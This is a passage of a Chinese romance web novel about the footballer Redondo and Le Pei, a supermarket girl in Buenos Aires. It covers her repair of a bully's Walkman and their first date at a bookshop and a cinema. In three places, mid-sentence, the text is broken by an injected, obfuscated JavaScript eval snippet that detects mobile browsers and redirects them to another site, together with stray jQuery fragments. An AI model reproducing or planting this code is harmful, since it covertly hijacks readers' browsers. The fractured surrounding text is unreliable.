这就是真的要去约会,莱昂纳多当然听明白了弟弟的真话,毕竟如果不是和姑娘出去的话,费尔现在肯定生气不理他了。“明白,我不会乱说的,那你和我说说总没什么吧?长得漂亮吗?” 雷东多不说话,莱昂纳多再接再厉,“什么时候借车总该告诉我吧?我到时候怎么给你车钥匙?” 车停在了俱乐部门口,雷东多转身拿包的时候在他肩膀上拍了拍,“等我电话,记得提前洗车。” 莱昂纳多眼睁睁看着弟弟潇洒地下车走人,左右闻了闻,“我才洗过车,这个臭小子!” 7. 信笺(7) 莱昂纳多最终还是再洗了一次车,小费尔好不容易又要约会了,他这个做哥哥的不能拖后腿。 但雷东多并没有着急借车,至少接下来两天他都没有进一步动作。 “我说了那不是约会,”雷东多面对哥哥八卦地打探不为所动,自从他知道乐佩来到布宜诺斯艾利斯这么多天都没有出去玩过,他就想作为朋友尽一尽地主之谊。 “没关系,朋友之间也可以约会。”莱昂纳多丝滑地改了口。 雷东多不再和不清楚实情的哥哥多费口舌,乐佩不会在布市待太久,她总要回去上学的,就像他自己,他不可能永远都留在阿甲联赛,现在想约会的事根本没有意义。 他知道自己不能表现得太热络,胡安老板似乎对他产生了不好的想法,想约乐佩出去肯定需要她叔叔婶婶的同意,所以雷东多需要抓住一个好时机,而不是给自己加难度。 但每一天路过超市的时候,雷东多还是会忍不住走进去,乐佩每一次都站在收银台前,总是在听见“欢迎光临”的第一时间就看过来,露出带酒窝的笑,点头和他打招呼。 停电的第二天婶婶就按计划带着乐佩去了老陈家看病,老陈是唐人街一个发廊的老板,也是婶婶的同乡,他会看些小病,所以在布宜诺斯艾利斯做生意的华人小圈子里有点名声。 他没有检查的仪器,只是听婶婶的说法,又让乐佩描述了一下她的症状,就板上钉钉地说这是夜盲症,婶婶高高兴兴地按老陈的指示去买药,夜盲症不是什么大病,只是缺维生素,补上就好了,如果吃过药没效果,再去医院看也来得及。 乐佩在帮雷东多结账的时候飞快地指了指自己的眼睛,“谢谢你费尔南多,我之前都不知道这是一种病。” 雷东多微微凑近了一些,“所以你去看医生了吗?” “对,已经在吃药了。”乐佩在雷东多的注视下挪开视线,低头去点要找的零钱,虽然平时她根本不用看就能数对数目,“你呢费尔南多,现在是要去训练吗?” 这几天他们都是这样寒暄的,好像自从停电那天之后,他们之间的关系又亲近了几分,但雷东多却不太喜欢这样,再这样下去他们只会变成普通的超市员工和相熟的顾客。 今天他身后难得没有别人等着结账,于是当乐佩把打包袋推向他的时候,雷东多并没有直接接过,他清了清嗓子,郑重地叫了乐佩的名字,“乐佩,我想......” 他又有些迟疑了,乐佩看出他有话要说,于是静静地看着他等待下文,嘴唇抿住、笑意还能从眼角漏出来。 雷东多刚想好邀请的话,还没来得及开口,胡安老板突然从货架深处探出头来,“小佩?过来给叔叔帮个忙?” 过去几天都是这样,要么因为人多,雷东多根本没找到开口的机会,要么就是他想要说的话被老板或者超市的其他员工打断,今天好不容易找到机会,结果又被破坏了。 粉红泡泡噼里啪啦地破了个干净,雷东多有些泄气,但乐佩只是扬声答应了叔叔一句,并没有要走的意思,反而在他闭上嘴的时候追问,“怎么了,费尔南多?” “咳,没什么,”雷东多垂首,“我只是想说,明天我还会来超市。” 这可真是句莫名其妙的话,雷东多在心里暗骂自己脑袋短路,他真该好好复习一下英语了,不然总是没办法完整表达自己的意思。 乐佩被他逗笑了,笑意从眼角晕开,绽放在整张脸上,她不觉得这句话没头脑,“你们周末也要训练吗,好辛苦。”她还记得雷东多说一周只用训练四五天。 话题被救了回来,雷东多接的飞快,“训练多了才能保持好状态,而且很多比赛都在周末,那样大家才有时间去看,所以我们都习惯了。” 眼看着两个人又要聊起来了,胡安老板的声音再次传来,“快点啊,小佩?” “这就来!” 乐佩不得不离开了,不忘留下一句话,“再见,我明天等你过来!” 连续几天连约人出门的邀请都没有说出口,雷东多终于决心不能继续拖下去,他在训练结束后打车去了哥伦比亚剧院,买好两张电影票妥帖地放进口袋里。 胡安老板不知道自己无意间给雷东多设置了多大的障碍,就算他知道也不会改,不过经过他这两天的观察,乐佩确实像老板娘说的那样,只是在交朋友,没有被小帅哥迷惑了心智,所以他慢慢扔掉了那些奇怪的脑补。 第二天他刚好因为进货的问题要出去一个下午,老板娘留下来看店,乐佩当然也会帮忙。趁着没人坐在收银台后歇息的时候,乐佩不自觉地想起雷东多昨天和他说的话。 乐佩没有注意到,这半个下午她看表的次数比以往多得多,雷东多一般会在训练前后过来,所以当时针慢慢向下转了一格,雷东多没有出现的时候,乐佩知道大概晚上才能见到他了。 她没有很失望,把这件事放到一边,开始专心干活。 在超市里的时间总是过得飞快,乐佩一点不觉得辛苦,悠闲的下午她还能和婶婶闲聊,婶婶有时候会拉她和其他伙计打牌,乐佩没接触过太多娱乐活动,但她学得飞快,没两天就可以赢地所有人抬不起头。 偶尔乐佩会想,或许她一直待在这里也很好,不用再回那个不欢迎她的家。或许爸爸妈妈真的以为她是过来打工的,毕竟他们都不相信乐佩能考上北京的大学,通知书也不会送到家里去。高考志愿只有一个,考不上的话她的学生时代就结束了。 在她的家乡,大家都更爱做买卖而不是一个劲地读书,每家每户几乎都有漂泊海外的亲戚,大学又很难考,包括乐佩的很多同学,从高中开始就专心给家里的生意帮忙了,所以爸爸妈妈恐怕巴不得她留在叔叔这里,赚了钱还能寄回家帮衬她的哥哥弟弟。 但他们要失望了。乐佩坏心眼地想,等八月回家的时候,家里人说不定会吓一跳,她在奶奶房间里的床可能早就被挪用放杂物,但是没关系,她也不会继续住下去了,她会去北京,宿舍再小,她也算有自己的容身之所。 “别发呆了小姑娘,快来帮我结账,我还有急事呢!” 异国他乡的语言总会适时将乐佩从沉思中惊醒,她真心实意地笑起来,“抱歉,米亚奶奶,我这就来。” 这个平淡无奇的下午被货架后传来的争吵声打断,三个大小伙子拉扯着超市的一个店员阿金来到收银台前,看着很不高兴的样子,要找老板讨个说法。 “这是我新买的随身听,被你这里的员工撞到地上摔坏了,你们是不是该赔给我?” 早在他们靠近的时候,老板娘已经站了起来,将乐佩挡在身后。现在一个小伙子手里拿着七零八落的随身听尸体,东西直接怼到了老板娘鼻子底下,完全不想善罢甘休。 老板娘面不改色地后退了一步,只看阿金,“是你弄坏的吗?” 阿金也不高兴,“他自己的东西不拿稳掉在地上,我只是不小心撞了一下,他们还说被我踩了一脚,我绝对没踩过!” 小伙子不耐烦他们说自己听不懂的语言,一叠声嚷嚷着要他们赔钱,打断了阿金的抱怨,收银台其他人想结账也被他们拦住,俨然是要闹事的节奏。 收银台围了好些人,老板娘得尽快解决麻烦,她试探着问了句价钱,这是索尼最新出的磁带随身听,价钱当然不便宜,但小伙子报的价高的实在离谱,显然想趁机多捞一笔。 老板娘一脸晦气,她当然知道要是换了白人开的超市,这几个小混混肯定不会大张旗鼓的闹事,而不是像现在这样,不给够钱就不走了。 她想先支开身后的侄女,“小佩,你先上楼去吧,给你叔叔打个电话,让他快点回来。” 乐佩默默听了一会儿,知道他们遇到的不是善茬。超市所在的街区治安在布宜诺斯艾利斯算好的,但总会有麻烦找上门来,警察的速度根本不能指望,一般这样的事只能花钱消灾。 这不是她第一次遇到闹事的人了,但这次她好像能帮婶婶做点什么,而不是躲到楼上去。 “乐佩!”突然有人叫她,雷东多穿过围观群众中走到收银台前,乐佩这才恍然意识到现在已经是傍晚,他的训练结束了。 “发生什么事了?” 雷东多刚来就发现超市里乱哄哄的,虽然没听到发生了什么,只看老板娘的表情,也知道他们遇到了麻烦事,他几乎第一时间就站到了乐佩身边,虽然乐佩看上去好像并没有很害怕。 “他的随身听摔坏了......” 带头闹事的小伙子和乐佩同时出声,不过他的声音听上去没有之前那么盛气凌人,而是带了几分迟疑,“......费尔南多,你怎么在这儿?” 雷东多这才回头看清闹事的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863591|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他顿了顿,疏离地微微颔首,“马蒂亚斯。” 事情的发展突然变得诡异起来,来闹事的这位马蒂亚斯显然和雷东多互相认识,但并不熟悉,雷东多只说了名字权当打招呼,仍然站在乐佩身边没动。而马蒂亚斯似乎有点怵他,没了刚才闹事的嚣张气焰。 老板娘看出这是个讨价还价的好机会,她亲热地对着雷东多笑了笑,然后才转向马蒂亚斯,气势足了许多,“我可以赔钱,但这东西最多也到不了1000刀,而且拿去修修肯定还能用,你别想着要我们当冤大头。” 马蒂亚斯捏着拳头,“必须1000刀,这是我哥哥送我的生日礼物,索尼的最新款,根本没有人会修,我想再买一个也买不到了!” “你哥哥?”在老板娘开口之前,雷东多突然出声了,“这是恩佐送给你的礼物?还是你偷偷拿出来自己玩的?” 马蒂亚斯的脸涨红了,想要狡辩,又在雷东多的注视下退缩了,他只愤愤地盯着老板娘,从牙缝里挤出一句,“800刀,不能再少了!” 这是个色厉内荏的小孩儿,老板娘看出来,也就没有刚才那么紧张了,她张嘴就要对半砍,却被轻声打断,“我觉得我能把它修好。” 所有人都看向说话的乐佩,乐佩指着散架的随身听,直直看向马蒂亚斯,“我说我能把它修好,那样你也不用花钱再买个新的了。” “你骗谁呢?”马蒂亚斯当然不相信乐佩,一个和他差不多大的小姑娘,还是个亚洲人,她能懂什么? 但他没能拦住乐佩的动作,因为老板娘在一旁虎视眈眈,“你到底是想要修好随身听,还是想要来骗钱,你知道我们已经报警了吧?” 马蒂亚斯不是真正的混混,他还强撑着想要吵两句,但之前给他撑腰的好朋友在背后拉他,再加上这里还有认识他哥哥的雷东多在,他最终认了怂,“要是没有修好,就必须赔我800刀!” 乐佩把他的话当成噪音过滤了干净,她拿起已经摔开的随身听后盖,里面的机芯和主板分了家,皮带翘着,隔离层也掉在一边。 看上去这个随身听已经完蛋了,但乐佩刚才就一直在偷偷观察这个东西,辨别出了里面都有哪些小零件,这虽然是索尼的新版随身听,但功能和以前的没有太多区别,机芯只有停止播放和快进三个按键,结构很简单。 她在自己高中的好朋友吴君家里见过这样的磁带,乐佩不愿意回家的那些晚上,时常被几个好朋友拉到自己家去美其名曰补课,吴君就是其中之一。 吴君的爸爸在他们那条街上修电器,乐佩跟着见过不少,磁带播放器是最简单的,她两遍就记住里面长什么样子。吴君知道她对这些感兴趣之后,看她的眼神好像在看外星人。“我知道你物理学得好,但这有点变态了。” 等东西拿到手上,乐佩又仔细观察了一遍,确认自己分析的没错,也确认了随身听只是摔开散架,主板上的零件没有缺失,机芯虽然错位走形,但成功复位没太大难度,只要能重新装好,随身听应该就能起死回生。 老板娘对乐佩有着蜜汁自信,放心地将随身听交给小侄女,吆喝着伙计该干什么干什么去,还贴心地拿来了胡安老板修东西的工具包让她随便用,乐佩看了一眼,那些工具几乎都用不上。 雷东多眼看乐佩只是盯着随身听观察,手指试探性地碰了碰,很发愁的样子。他完全能理解乐佩的心情,这东西看上去就让人头疼,所以他不由得出声,“乐佩——” 乐佩抬头,“怎么了?” “其实修不好也没关系,”雷东多认真地看着她,“我认识马蒂亚斯的哥哥,马蒂亚斯很怕他。” “谢谢你费尔南多,”乐佩觉得很新鲜,她没想到看上去很有道德感的雷东多也能将欺负朋友的弟弟说得这么理直气壮,“不过我确实能修好,这没什么难的。” 她重新低下头去,三两下调好了按键相连的卡片和弹簧,又将皮带绷好,将机芯和主板对准,用螺丝刀上紧固定,这时压住机芯上的弹簧片,压带轮连接的黑色金属棒呼呼地转起来。 雷东多不再说话,他看着乐佩毛茸茸的头顶,还有在她那双仿佛有魔力的灵巧手指下,飞快复原的磁带机。 他眼前还留存着刚才女孩儿自信的模样,这是他在别人脸上从来没有见过的样子,那个明媚笑容永远不会褪色,让人心动。 8. 信笺(8) ‘咔哒’一声,随身听的被盖扣上。复原像乐佩想的那样顺利,花了不过十分钟,随身听已经变得完好如初,放在马蒂亚斯的面前,“我认为这样就算修好了,你要不要试试看?” 马蒂亚斯没想到这一切结束地这么轻松,他既不甘心又不敢置信,脸色十分好看。在雷东多有如实质的目光注视下,他还是拿起了随身听,放磁带的时候还在祈祷着什么都播不出来。 但他注定要失望了,迈克尔杰克逊的歌声从耳机里传出来,是今年火热的《leave me alone》,老板娘眉开眼笑,十分好心地举着耳机要马蒂亚斯戴上,“要不要再试试看音质?” 音质当然也没有问题,简直和哥哥拿给他炫耀的时候一模一样,马蒂亚斯抢过随身听,一边嘟囔着“真倒霉”,一边和他的小伙伴飞快溜出了超市,再没有刚才的大嗓门。 “我才是倒霉,这小孩可真没礼貌,也不知道和你说声谢谢,”老板娘骂了一声,看向乐佩声音都夹了起来,“我们小佩这么厉害,这样的东西也会修,比你叔叔强一百倍,家里的电视坏了他还说要凑活,一点都不顶用!” 乐佩当然也很高兴,不过她只是因为给婶婶解决了一个麻烦,随身听的原理再简单不过,修好那个没什么大不了的。 老板娘又转向雷东多,她当然不会忘记这个小伙子的帮助,马蒂亚斯见到他就像老鼠见到猫,想来淘气的弟弟天生就害怕哥哥正直严肃的朋友。 “谢谢你费尔南多,没你在今天这件事还不知道该怎么办呢!” 雷东多只看着乐佩,“我没做什么,都是乐佩的功劳。” “对,对,小佩是最棒的,”老板娘的眼神在站在一起的两个人身上扫了个来回,呵呵笑起来,“你是来找小佩的吗?那你们好好聊。” 老板娘脚步不停地去找刚才被讹上的阿金,给两个年轻人留出空间,乐佩也不着急回前台,超市的其他伙计在她修随身听的时候已经顶上去了。 这是雷东多等了几天的好机会,但现在他满脑子都是乐佩刚才修好的那个随身听,“你居然会修随身听,这真的是......amazing!” 乐佩不止会修,她还能比划着用自己并不丰富的词汇量讲出随身听读磁带的原理,雷东多只记得她发亮的眼睛和抑扬顿挫的声音,“我觉得想要搞懂这些一点都不容易,”那些原理他根本没留意听,听了也不明白。 “这没什么,”乐佩突然有些脸热,她感兴趣的这些东西在她的家里从来没人能理解,得到最多的评论是“她这样以后会嫁不出去”,雷东多是除了教会她这些的吴叔叔之外第二个真心实意夸赞她的人,哦,还有刚才的婶婶。 她必须得换个话题了,不然自己会骄傲。还是问问那个马蒂亚斯吧,“他是你的朋友吗?” “不算,”雷东多当然和那个坏小子划清界限,他也确实看不上马蒂亚斯的作风,他认识的大多数年纪小的男孩子都有让人厌烦的毛病,“他哥哥恩佐是我在青训队的队友,也是小时候我家的邻居,可惜恩佐前几年放弃足球上班去了。” 至于马蒂亚斯,他也进过青训营,或者说阿根廷的小男孩儿到了年纪总要去俱乐部走一回,当然大多数没有天赋的十来岁就被淘汰了,马蒂亚斯也是其中之一。 “他那个随身听多半是偷拿恩佐的,恩佐不爱让马蒂亚斯用他的东西,”雷东多笃定,“所以这件事马蒂亚斯也不会和恩佐说,你不用担心之后他会再来找事。” “那就好。”乐佩其实希望恩佐把马蒂亚斯教训一顿,但这样的结果也还可以吧。 闲话说完了,乐佩没忘记雷东多昨天叫住她就为了说自己今天会来超市,他一定要买什么东西吧,她拍拍手直起身,“你训练一结束就过来了吧,想买什么?我帮你去拿?” “不,我是来找你的。”雷东多叫住了乐佩,在乐佩有些好奇的眼神中,终于说出了他准备了好几天的邀请,“你说你来布宜诺斯艾利斯这么多天,还没有出去玩过,明天下午哥伦布剧院放电影,你想和我一起去看吗?” 乐佩心动了,她想不出拒绝雷东多的理由,但这件事她做不了主,“我得问问叔叔婶婶,他们要是同意的话,当然,我想去看。” 至少乐佩没有拒绝,这是个好信号,雷东多却没有放下心来,他觉得胡安老板恐怕没那么容易答应。 但他担心的问题被轻而易举的解决,一直在一边干活的老板娘突然冒了出来,也不知道听见了多少,“我和你叔叔都会同意的,去玩吧。叔叔婶婶每天都要忙,没办法带你出去玩,但是好不容易来到这边,景点不转怎么可以呢?” 她三言两语就替乐佩决定好了,“你们要去看什么电影?”“几点出去,要不要先过来吃午饭吧!”“虽然可以出去玩,但晚上八点前必须回来,不能乱跑。” 雷东多认真回答了老板娘的问题,听到最后一句话才像通过考试一样松了口气,他又看向乐佩,确定乐佩和他一样期待明天出去玩。 他什么都没买就离开了超市,大步流星,他急着回家给哥哥打电话,“车钥匙,还有你的那个CD随身听,都借给我吧。” 超市这边老板娘的心情出奇的好,已经完全把之前被人惹麻烦的事忘在了脑后,就连晚上回来的胡安老板都觉得她太兴奋了。 乐佩当然很期待明天,她可以去看雷东多说过的那些布市的景点,哥伦布剧院放映的是20年前的经典电影《罗密欧与茱丽叶》,饰演茱丽叶的演员奥丽维娅赫西是阿根廷人,知名的美貌和人气让她哪怕有一半英国血统在阿根廷也很受欢迎。 胡安老板的心情就不太美丽了,在从老板娘那里得知乐佩明天要出去玩,还是和现在变得不太讨人喜欢的雷东多一起,老板的血压直接拉满,“我就知道他和那些臭小子一样,没安好心!你怎么能答应呢?这我怎么可能同意?” “我倒觉得费尔南多很靠谱,他从小都比那些臭小孩儿有礼貌多了,你又不是不知道,”老板娘还讲了下午雷东多出言相助的事。 “他是个懂事的小伙子,长得还又高又帅,上了大学、足球还踢得那么好,你以前不是经常夸他吗?乐佩交个朋友怎么了,我还担心她太闷着了,她在老家过得又不好,你哥哥嫂子什么德性你心里没点数?” “那是两回事!”老板其实明白这个道理,他也认可雷东多的人品,但心里一时半会还是接受不了,乐佩才17岁! “他和乐佩才见过几面,就能约着出去玩,两个人!接下来他还要干什么我都不敢想!就算他今天帮了忙,那也不是他能约乐佩出门的理由!” 老板娘懒得理他了,“反正我已经答应了,小佩也很想去,你自己慢慢想去吧......以前你女儿追着帅哥跑的时候你好像能拦得住一样。” 第二天两个人约好见面的时间是下午,早上乐佩还想在超市帮忙,被婶婶劝了回去,叔叔愁眉苦脸地在角落种蘑菇,仍然拒绝接受现实。 乐佩终于意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863592|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到婶婶对这件事好像比她更上心,中午早早吃过饭,她也从超市上楼来,光是衣服就帮乐佩挑了半天,虽然都是前一阵子她帮忙买的,现在却哪件看着都不合适。 “我应该多给你买点衣服,这些看起来都太可爱了,婶婶的衣服老气、尺码也不够,你没办法穿。” “我觉得都很好看......”乐佩弱弱地说了一句,她觉得现在有点太隆重了,在家的时候她因为没有钱,不能总让朋友请客,所以出去的次数很少,每次出门她都要好好准备一番,但也不到这种程度。 雷东多在她心里已经像她的那些好朋友一样了,乐佩也是最近在叔叔这里攒下不少钱才答应地毫不犹豫。 婶婶当然没听进去,她又被赶去试衣服了。虽然有点折腾人,乐佩不想拒绝婶婶的好意,直到最后婶婶终于定下了她最早试的那套,“大大方方的,最好。” 给乐佩梳头发又花了半天时间,乐佩的头发因为最近吃的好似乎都变得更亮了,扎蕾丝边发带的时候婶婶还念叨着,“刚好你们要去看罗密欧茱丽叶,戴这个再合适不过了。” 乐佩不知道这句话什么意思,她当然没看过那部电影,她是上高中之后才第一次进电影院,小时候街头放的露天电影很少有外语片,电影院兴起之后不会引进这么老的片子。 要不是她的耳洞才打了不到一个月,不能换别的,乐佩相信选耳饰婶婶还要纠结好久。最后婶婶还要拿出自己好久都用不了一回的化妆品,盯着乐佩看了一会儿,感叹着年轻就是好,只给她涂了一层唇膏。 雷东多在冬日下午淡淡的阳光下开车出门,今天天气很好,也没有训练,一切都再顺利不过,除了八卦的莱昂纳多,在他穿衣服梳头的时候烦个不停,“太精致了小费尔,我觉得我结婚那天你都不会这么用心收拾。” “你什么时候要结婚,妈妈知道吗?” “我只是举个例子!” 雷东多只觉得他大惊小怪,自己每天出门都会花这些时间在衣服头发上,今天只是在穿什么衣服上多纠结了一会儿、发型梳得更仔细了而已。 出发前他坚决赶走了想要一起上车或者跟在后面偷看两眼的莱昂纳多,雷东多不常开车,但他18岁就拿到了驾照,没买车只是因为家里车多,而哥哥的最骚包拉风。 他的车停在超市门口,高大帅气的年轻人一下车就吸引了不少路人的视线,幸好下午这里人不算多,没人认出他是阿根廷青年人那个已经开始崭露头角的中场。 超市门口的招财猫今天喊“欢迎光临”的音调似乎都高了两度,胡安老板看见他来冷哼了一声,“我去楼上叫小佩。” 老板还是说服了自己,或者说雷东多确实是个招人喜欢的年轻人,尤其今天又收拾地这么精神利索,他也说不出替侄女拒绝的话。 乐佩见到雷东多的时候,呼吸停了半拍,她一直知道雷东多的外表很有优势,但今天他看上去比以往还要再帅一点。 深棕色的长款风衣,毛衣下面白色的衬衫领子整齐地折好,藏蓝色的西裤每道褶皱都恰到好处,细看还能看到格子暗纹,皮鞋擦得很亮,这身有点太过成熟的装扮放在雷东多身上一点都不突兀,带点暗金色的头发向后梳成背头,连发梢都透着精致。 乐佩在心里感叹着,走到他身边,“下午好,费尔南多。” 雷东多目不转睛地看着乐佩一路走近,沉默之后的第一句话,他说:“Que muy guapa!”(你真漂亮。) 9. 信笺(9) 很多人以为雷东多是个感情内敛的人,其实只是因为那些人和他的关系不够亲近,在面对家人和好朋友的时候,雷东多不吝啬表达自己的感情,当然,在球场上面对讨厌的对手,雷东多也会骂的很难听。 他几乎每天都和爸爸妈妈通电话,他见过莱昂纳多被朋友骗了钱最窘迫的时候,莱昂纳多也差不多知道他和队友对手起过的每一次冲突,他是个感情充沛的阿根廷人,发自内心的感慨没什么好丢人的。 所以他对乐佩说的那句话同样发自内心,他也不觉得那是一句过分的称赞,只能算是客观评价。 乐佩穿着浅棕色的长风衣,不同于那天在街上短暂的一眼,也不同于她平时忙碌时的模样,额前的碎发被整齐地梳进发带里,像是从一株金黄的向日葵变成一束芬芳的百合花,只是站在那里就能让所有人注意到她。 因为穿着带跟的长靴,她的步子变慢了一点,时间仿佛也跟着拉长,等她靠近打招呼,带着熟悉又安心的笑容,整张脸透着一层柔和的光。 雷东多知道,无论什么时候的自己见到这样的乐佩,都会说出那句“你真漂亮”,只是说出之后他才意识到,乐佩的西班牙语听力不算熟练,不站在收银台后的时候,很多词语她都听不明白。 所以乐佩对这句话没什么反应,只是抿嘴看着他笑。雷东多不想翻译成英语再说一遍,那样太刻意了,于是在向面色不善的胡安老板道别之后,他先一步打开副驾驶的车门,邀请乐佩上车。 车上弥漫着一股别扭的氛围,不是尴尬,但让雷东多不太自在,直到他发现乐佩正在偷偷打量驾驶座的仪表盘,他早该知道乐佩不是一般的姑娘,向后让了让。 乐佩被发现了也没有不好意思,凑得更近,雷东多相信她一定在想要摸一摸,就用她那双充满魔法的手。“这是你的车吗?看上去好棒!” “咳,这个其实是我哥哥的车,不过我也会开,你放心好了。” 连出租车都没坐过几次的乐佩没什么不好放心的,“开车很难吗?” “只要知道什么时候踩哪个踏板,就没什么难的。”雷东多见她实在感兴趣,专门演示了怎么发动车子、6个档位分别是什么,“你看,这很简单,你这么聪明,一定很快就能学会。” “你怎么也像我叔叔他们那样说话?”乐佩没有说她今后或许很多年都买不起一辆车,也没有开车的机会,她压住上翘的嘴角,矜持地点点头,“我也这么觉得。” 汽车开上街道,车厢里再没了一开始古怪的氛围,好像他们已经是认识很多年的朋友,只要坐在一起就会很放松。 “剧院离这里很远吗?” “不算远,不过离电影开场还有好一会儿,”雷东多一边在心里默默想着路线,一边问乐佩的主意,“你想先去其他地方吗,五月广场,或者去看方尖碑?” “我想去看看布宜诺斯艾利斯大学,我还不知道一所大学该是什么样的,”乐佩觑着雷东多的表情,“这个是不是有点不方便?” 雷东多没想到乐佩会这样选,心中一点隐秘的高兴很快被对母校的嫌弃掩盖,大概全世界的大学生都是一样的,当遇到其他人想参观校园的时候,都不理解这么普通的地方有什么好看。 布大有一点不普通,她没有集中的校区,一年十几万本科生的入学量导致不同专业的学院只能坐落在布市的不同街区,也没有太多学生宿舍,所以除了法学院那个硕大又古老的图书馆,整座大学找不出另一个标志性建筑。 “没有不方便,只不过布宜诺斯艾利斯大学和你想象的可能有点不一样,教学楼都在街边,普通到有时候我们上课都找不见位置。” 乐佩理解了,有点失望地点头,雷东多飞快想到了另一个好地方,“或许你想去雅典人书店,那是阿根廷最大的书店,里面什么样的书都有,很多学生经常去那边看书!” 乐佩果然对这些感兴趣,她的眼睛又亮起来,雷东多心下松了口气,庆幸乐佩没有继续追问布大,不然他这个总是翘课的人根本想不起来教室在哪儿。 雅典人书店藏在闹市区的街角,这里的前身同样是个剧院,只不过过去十几年废弃了,这两年被市政府改造成了一座书店。 一楼曾经的售票处没有书架,书都是一摞摞分堆放的,花花绿绿的封皮吸引着乐佩,哪怕上面的字一个都看不懂,硬皮书的精美封装摸着也让人着迷。 这里放着的书都是给小朋友看的图画科普读物,还有成功学秘笈这种让人搞不懂的畅销书,雷东多第一次在这里停留,他的目光跟随着乐佩拿起来的书,“这是给小孩子学西班牙语的图书,讲的都是童话故事。” 书的内页摸上去也很光滑,里面每一页都画满了图案,像是一部动画片印在上面,乐佩能大概猜出来讲了什么故事,给小孩子的书还能做的这么好看?就是这些小人的样子她有点接受不了。 “这一本要多少钱?” 雷东多低头去看标签,报了个数字,乐佩吐吐舌头,把书放了回去,这够她买一整套连环画还不嫌多,连环画上的小人看着更顺眼。 雷东多更喜欢楼上的氛围,他伸手碰在乐佩的肩头,又一触即离,“走吧,楼上还有更多书。” 顺着扶梯来到曾经剧院的中心,宽阔的大厅里曾经放满座椅的地方现在摆上了一排排书架,二层三层的圆弧形观众席也是同样,来往的人们不自觉压低声音,偌大的剧院只有书页翻动的声音和脚步声。 乐佩的声音也变成气声,“你经常看的那些书都在哪里呀?” 剧院的穹顶是一副色彩丰富的欧式壁画,没有大灯,他们在昏暗中路过一排排书架,停在写着“La Economía”的那一排,只书架前有灯明晃晃地照着,方便读者看书。 “这里有不少老师推荐我们来看的书,比图书馆的书还要新,只可惜不能借,所以有时候我会在这里把书看完,如果不是写的特别好的话。” 声音放轻之后必须靠近才能互相听清楚,乐佩穿上短靴后个子不低,雷东多微微侧身说话的时候,她也跟着偏头,从背后看脑袋刚好快要枕到他的肩膀上。 雷东多的目光总会被乐佩吸引,所以他发现了这一点,说话的声音顿了一下,半晌才默默退开一步。 他们又去了拉美著名文学作品所在的书架,相比于专业课的书籍这里更吸引他,“我已经读过不少了,但这里总会上新,好书永远都读不完。” 乐佩点头,就像她喜欢看的那些小说,金庸琼瑶的书一本接着一本,看完了这些还有古龙,读完一本永远有新的冒出来,这些书在家长看来都不正经,他们只能偷偷看,一本书在班上能过十几个人的手。 西班牙语的书乐佩当然看不懂,他们只是走马观花地一排排扫过去,等到了二楼才算见到英语书,至于想找中文书,恐怕要去的是唐人街的小书摊。 雷东多得知乐佩也爱看书之后,热情地介绍了几个拉丁美洲的作家,他们还找到了翻译成英文的经典,最出名的当然是《百年孤独》。 他们坐在一间狭小的空阅览室里,一起研究这本英文书,桌上还放着两杯冒热气的咖啡,剧院的舞台改成了咖啡吧,走进大厅就能闻见浓郁的咖啡香味,乐佩忍不住买上一杯尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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““这确实是球场和训练场经常放的歌。”雷东多侧头,他看到乐佩微微阖上眼睛,脑袋跟着轻轻左右摇晃着打拍子,耳机里平时都快听厌烦了的歌声突然又变得悦耳起来,他闭上嘴。当乐佩的眼神落在了CD随身听上时,他默默将CD机推到乐佩手边,做着口型,“你可以打开看看。” “不用了,”乐佩有点不好意思,她不想表现得没见过世面。不过她误解了雷东多,因为他说:“我不知道这个和磁带随身听是不是一样的原理,但CD的音质更好。” 原来是这个‘打开’,乐佩于是取出CD,拆开了这个莱昂纳多友情赞助的小玩具,CD机的内部结构看着要比磁带随身听复杂一点,乐佩害怕碰坏,只是虚指着零件简单解释了一下他们的原理,有些乐佩也不太清楚。 雷东多变成了听讲的那个,这次他终于专心了一点,乐佩讲的很清楚,让他一瞬间产生了物理也没有很难的错觉。 他看着乐佩再一次用双手施展了魔法,刚才被大卸八块的CD机恢复原状,CD还能正常播放,什么问题都没没有,就是刚冒出来的声音大的吓人,两个人懵了一会儿才手忙脚乱地将声音关小。 安静的书店里这样的动静十足引人注目,有不太高兴的读者路过,想用眼神谴责一下这种不文明行为,但他没有在CD区发现人,只好悻悻地走开。 躲到书架旁假装看书的两个人隔着摆放整齐的书丛上看向对方,不约而同地歪头偷笑起来,带着做坏事没有被抓住的一点点兴奋。 在书店一不留神就待到了电影快开场的时候,雷东多没想到时间居然过得这么快,以至于他们赶去哥伦布剧院的时候他还想加速超车,但乐佩一点也不着急,“晚点也没关系,这说明我们下次看电影的时候就不会迟到了。” 那句“next time”飘进雷东多的耳朵里,他也一点都不着急了,等到了剧院两人果然迟了一会儿,雷东多还是买了爆米花和饮料,他们这才走进黑乎乎的放映厅。 10. 信笺(10) 《罗密欧与朱丽叶》并不是正在院线的电影,而是剧场日常随机放映的经典老片,甚至还是英文原声而不是西班牙语配音,所以影院里的观众就更少了。 